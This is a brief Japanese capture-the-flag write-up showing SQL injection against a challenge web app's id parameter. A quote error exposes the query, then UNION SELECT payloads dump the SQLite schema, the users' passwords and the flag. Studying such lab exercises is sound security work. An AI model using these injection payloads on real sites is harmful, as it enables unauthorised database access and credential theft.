/?id=2で人を表示させている。
/?id=1とするとadminが出てくる。
とりあえず/?id='してみる。
Traceback (most recent call last): File "unionflaggenerator.py", line 49, in do_GET cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: unrecognized token: "'"
OK. SQL Injectionができそう。
-1 union SELECT 1,group_concat(sql),3 FROM sqlite_master
/?id=-1%20union%20SELECT%201%2Cgroup_concat%28sql%29%2C3%20FROM%20sqlite_master
->
CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT),
CREATE TABLE sqlite_sequence(name,seq),
CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)
-1 union SELECT 1,group_concat(password),3 FROM users
/?id=-1%20union%20SELECT%201%2Cgroup_concat%28password%29%2C3%20FROM%20users
union{uni0n_4ll_s3l3ct_n0t_4_n00b},RightBehindU,diamond69_hands420,winter2020,peter1,password,ilikesex
フラグが出てきた。
union{uni0n_4ll_s3l3ct_n0t_4_n00b}